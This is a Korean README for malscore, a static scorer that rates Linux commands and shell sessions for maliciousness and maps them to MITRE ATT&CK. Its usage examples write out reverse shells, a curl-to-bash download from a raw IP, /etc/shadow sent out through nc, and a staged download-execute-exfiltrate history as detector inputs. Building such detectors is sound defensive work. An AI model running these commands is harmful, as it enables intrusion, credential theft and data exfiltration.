
Linux 명령어에 대한 악성도 점수 산정
malscore는 Linux 명령줄 또는 셸 히스토리와 같은 명령 세션을 입력받아 0–100 악성도 점수를 판정 등급 및 MITRE ATT&CK 매핑과 함께 반환합니다:
command(s) → features → signals → score + MITRE mapping
그것은 아무것도 실행, 확장 또는 해석하지 않습니다 — 오직 텍스트만 읽습니다
(tests/test_safety.py에 의해 강제됨). Python 표준 라이브러리(3.8+) 외에는
의존성이 없습니다.
pip install malscore # provides the `malscore` command
소스 체크아웃에서:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True)는 명령 텍스트가 다시 출력되기 전에 자격 증명처럼 보이는 값을 마스킹하며, 점수에는 영향을 주지 않습니다.
예시:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
세션 파일에서 비어 있지 않은 각 줄은 하나의 명령으로, 문자 그대로 처리됩니다. 주석, 줄 연속, here-document에 대한 처리는 없습니다. --batch는 다릅니다. JSON 피드의 각 명령을 독립적으로 채점하며, 명령 간 분석은 수행하지 않습니다.
| 점수 | 판정 | 의미 |
|---|---|---|
| 80–100 | critical | 형태가 정당한 경우가 드묾 (리버스 셸, 디스크 와이프, uid‑0 계정) |
| 60–79 | high | 강한 증거; 신속히 검토 |
| 35–59 | medium | 대부분의 맥락에서 의심스러움 (curl‑pipe‑shell, shadow 읽기) |
| 15–34 | low | 조합 시 주목할 만함 |
| 0–14 | benign | 일상적 |
구간과 가중치는 수작업으로 조정한 출발점이며, 훈련된 모델이 아닙니다 — 점수의 모든 포인트는 명명된 신호와 MITRE ATT&CK 기법으로 추적됩니다.
특징. 명령은 (아무것도 실행하지 않고) 렉싱되며, sudo/env/xargs 같은 래퍼는 벗겨지고, 치환과 -c 페이로드 속으로 들어가며, 결정론적 특징이 계산됩니다 — 다운로드 체인, 접근한 경로, 지속성 표면, 인코딩 트릭, 그리고 형태로 특정 공격자 기법을 인식하는 tradecraft 그룹(malscore/tradecraft.py).
신호. malscore/signals.py는 약 120개의 명명된 신호 카탈로그입니다: 특징 레코드에 대한 술어, (0, 1] 범위의 가중치, MITRE 전술 및 기법 id. 가중치는 "이것이 우리가 아는 유일한 것이라면 얼마나 적대적일 가능성이 있는가"로 읽힙니다. 카탈로그는 ATT&CK 전술별로 다음을 포괄합니다:
/proc/self/fd로부터의 파일리스 실행;/etc/shadow 및 개인 키, 클라우드 메타데이터, 설정 파일에 대한 자격 증명 키워드 검색, .pgpass/.netrc/클라우드 자격 증명 파일 읽기, 환경 및 히스토리 스크래핑, SSH-agent 하이재킹;sudo -u#-1 우회, PATH 하이재킹;/proc 바인드 마운트 은닉;DROP TABLE, 대량 프로세스 종료.일반 민감 데이터 규칙(카드/SSN 패턴, 데이터베이스 덤프, card, token, customer 같은 테이블 이름)은 기본적으로 활성화되어 있습니다. 자체 데이터에 맞게 malscore/tradecraft.py의 SENSITIVE_TABLE_RE 어휘를 조정하십시오.
집계 (noisy‑OR). 가중치는 1 − ∏(1 − wᵢ)로 결합되므로, 약한 신호가 많아도 누적될 뿐 넘치지 않으며 하나의 강한 신호가 지배합니다. 같은 전술을 공유하는 중복 신호는 감쇠되므로, 세 가지 지속성 검사를 트리거해도 세 개의 독립적인 발견으로 계산되지 않습니다.
세션. 세션의 각 명령은 위와 같이 채점되며(그 기여도는 0.9로 상한이 설정되어, 하나의 시끄러운 명령이 긴 세션을 critical로 만들지 않음), 그런 다음 명령 간 신호가 단일 명령으로는 드러나지 않는 패턴을 찾습니다 — 초기에 다운로드되어 나중에 실행된 파일, 데이터가 스테이징(덤프, 아카이브 또는 압축)된 후 나중에 scp로 전송됨, 권한 상승 후 자격 증명 접근, 자격 증명 접근 후 업로드, 전송 후 스테이징된 데이터 삭제, 다운로드와 지속성, 활동 후 히스토리/로그 삭제, 또는 세 가지 이상의 전술에 걸친 활동.
정적 점수는 명령이 본질적으로 수행하는 작업을 측정합니다. 정적 점수는 curl … | bash가 빌드 서버에서는 문제없고 원장 데이터베이스에서는 사고라는 점을 알 수 없습니다. 이는 사용자/호스트 기준선에 상대적인 행동적 판단이며, 이것이 바로 다운스트림 이상 탐지 모델(예: 사용자별 이력을 기반으로 한 Isolation Forest)의 역할입니다. 정적 채점기가 낮게 평가하는 활동(예: 세션 전반에 분산된 데이터 스테이징)은 바로 이상 탐지 계층이 잡아내기 위해 존재하는 대상이며, 명령들을 함께 채점하면 세션 채점이 그중 상당 부분을 복원합니다.
의도된 프로덕션 형태는 하이브리드입니다:
command / session
│
┌───────────────┼────────────────┐
▼ ▼ ▼
malscore behavioural deterministic
(static risk) anomaly model rules
└───────────────┼────────────────┘
▼
risk / triage
| 파일 | 역할 |
|---|---|
malscore/lexer.py | 비실행 셸 렉서 |
malscore/context.py | 실행 파일, 페이로드, 경로, URL, IP, 포트 해석 |
malscore/features.py | 일반 피처 그룹 (네트워크, 경로, 지속성, …) |
malscore/tradecraft.py | 기법별 피처 (리버스 셸, 자격 증명 수집, …) |
malscore/signals.py | 가중치가 부여된 MITRE 매핑 시그널 카탈로그 |
malscore/scoring.py | noisy-OR 스코어링 및 명령 간 세션 분석 |
malscore/cli.py | 명령줄 인터페이스 (malscore / python -m malscore) |